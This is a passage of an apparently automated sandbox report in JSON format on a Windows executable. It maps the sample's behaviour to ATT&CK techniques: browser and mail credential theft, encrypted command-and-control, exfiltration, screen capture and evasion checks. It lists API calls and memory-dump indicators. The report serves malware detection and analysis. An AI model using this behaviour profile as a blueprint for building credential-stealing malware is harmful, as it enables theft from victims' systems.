Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"},{"type":"informative","value":"Writes log files"},{"type":"informative","value":"Contains ability to create directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"malicious","value":"Tries to steal Mail credentials from registry"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops XML files"},{"type":"informative","value":"Drops temp files"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"},{"type":"informative","value":"HTTP requests contain custom Base62 strings"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Web Service","attack_id":"T1567","attack_id_wiki":"https://attack.mitre.org/techniques/T1567","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Able to retrieve/open a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Contains reference to cryptographic keys"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"FindResourceW\" with parameter \"7\" - (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"FindResourceW\" with parameter \"63\" - (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"FindResourceW\" with parameter \"64\" - (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"FindResourceW\" with parameter \"8\" - (UID: 00000000-00000336)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"LoadResource with parameter {'hModule': '183500801', 'hResInfo': '183502048'}\" (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"LoadResource with parameter {'hModule': '183500801', 'hResInfo': '183502080'}\" (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"LoadResource with parameter {'hModule': '183500801', 'hResInfo': '183502096'}\" (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"LoadResource with parameter {'hModule': '183500801', 'hResInfo': '183502064'}\" (UID: 00000000-00000336)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"RemoveDirectoryW\" with parameter %APPDATA%\\shvkciql.ott\\Firefox\\Profiles\\ywzu7870.default (UID: 00000000-00007972)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"RemoveDirectoryW\" with parameter %APPDATA%\\shvkciql.ott\\Firefox\\Profiles (UID: 00000000-00007972)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"RemoveDirectoryW\" with parameter %APPDATA%\\shvkciql.ott\\Firefox (UID: 00000000-00007972)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"RemoveDirectoryW\" with parameter %APPDATA%\\shvkciql.ott (UID: 00000000-00007972)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"WaitForSingleObjectEx\" (Indicator: \"WaitForSingleObjectEx\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load content from resource","description":"Observed function \"ResourceManager.GetObject\" in \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397\"\n Observed function \"ResourceManager.GetObject\" in \"JSCrIQqACnlzp.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-112","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00000336.00000000.102479.033F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetLastWriteTime\" (Indicator: \"SetLastWriteTime\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"SetCreationTime\" (Indicator: \"SetCreationTime\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"SetLastAccessTime\" (Indicator: \"SetLastAccessTime\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$25","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\pipe\\PSHost.133941468293355986.3052.DefaultAppDomain.powershell; Source: \"00000000-00003052-00000C57-612164058\")\n Found string - \\\\.\\pipe\\PSHost.133941468332671258.6808.DefaultAppDomain.powershell; Source: \"00000000-00006808-00000C57-612364546\")\n Found string - \\\\.\\root\\cimv2; Source: \"00000000-00007972.00000000.103107.03530000.00000004.mdmp, 00000000-00007972.00000000.103107.05190000.00000004.mdmp, 00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp\")\n Found string - \\.\\root\\cimv2; Source: \"00000000-00007972.00000000.103107.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Renames files","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" renamed original file\"C:\\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" to \"%TEMP%\\tmpG235.tmp\"","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$26","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$27","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"FromBase64String\" (Indicator: \"FromBase64String\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/decrypt data using TripleDES","description":"Found reference to API \"TripleDESCryptoServiceProvider\" (Indicator: \"TripleDESCryptoServiceProvider\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-486","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00000336.00000000.102479.056C0000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00000336.00000000.102479.056C0000.00000004.mdmp\")\n Found reference to API \"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnProtectData Windows APIs to encrypt and decrypt\"\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00000336.00000000.102479.056C0000.00000004.mdmp\")\n Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00000336.00000000.102479.056C0000.00000004.mdmp\")\n Found string \"http://www.w3.org/2001/04/xmlenc# EncryptedKey\" (Indicator: \"encryptedkey\"; Source: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")\n Found string \"System.Security.Cryptography.Xml.KeyInfoEncryptedKey, System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" (Indicator: \"encryptedkey\"; Source: \"00000000-00007972.00000000.103107.05190000.00000004.mdmp\")\n Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03621000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$28","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.226750912216032","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$29","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server\n Matched sigs: Contacts domains","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00000336-00000C2B-594414822\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00000336-00000C2B-598992005\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetLastInputInfo\" (Indicator: \"GetLastInputInfo\"; Source: \"00000000-00007972-00000C2B-637343491\")\n Found string \"GetLastInputInfo\" (Indicator: \"GetLastInputInfo\"; Source: \"00000000-00007972.00000000.103107.00400000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00003052.00000000.103005.00CD1000.00000002.mdmp\")\n Found reference to API \"Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_ILANGUAGE\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp\")\n Found reference to API \"Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_IDEFAULTANSICODEPAGE\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp\")\n Found reference to API \"Win32API|National Language Support Functions|GetLocaleInfo|LOCALE_ICOUNTRY\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00007972-00000C2B-620888557\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00000336)\n \"powershell.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00003052)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GlobalMemoryStatusEx\" with parameters (UID: 00000000-00000336)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00000336)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GetForegroundWindow\" (UID: 00000000-00000336)\n \"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GetForegroundWindow\" (UID: 00000000-00007972)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"IsWow64Process\" with parameter \"336\" - (UID: 00000000-00000336)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"3052\" - (UID: 00000000-00003052)\n \"powershell.exe\" called \"IsWow64Process\" with parameter \"6808\" - (UID: 00000000-00006808)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00003052)\n \"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00006808)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"GetWindowTextA\" (UID: 00000000-00007972)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00000336)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$2b","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe\" called \"OpenMutexW\" with parameter \"QXOHTDhqeCqyP\" - (UID: 00000000-00000336)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$2c","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6849824a28176b2bd506558a"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified 